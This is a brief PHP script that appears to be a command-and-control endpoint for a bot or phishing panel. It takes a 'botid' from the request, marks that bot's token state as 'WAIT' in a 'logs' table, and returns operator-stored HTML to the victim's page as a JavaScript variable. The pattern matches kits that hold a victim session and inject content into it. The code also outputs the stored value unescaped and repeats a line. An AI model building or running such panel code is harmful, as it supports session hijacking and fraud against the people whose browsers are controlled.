<?php

require_once 'config/config.php';

 $state = '';
 $data = 'var return_msg = "NULL";';


if(!empty($_POST['state'])){$state = $_POST['state'];};


if(!empty($_POST['state'])){$state = $_POST['state'];};
if(!empty($_GET['auth'])){$botid = $_GET['auth'];};


$db = getDbInstance();

$data_to_db['tokenstate'] = 'WAIT';

$db->where('botid', $botid);

$db->update ('logs',  $data_to_db);




     $db = getDbInstance();
     $db->where('botid', $botid);

     $botstate = $db->getValue ("logs", 'comment_js');

     $data = 'var jsess_msg = "[HTML='.$botstate.']";';

     echo $data;




?>
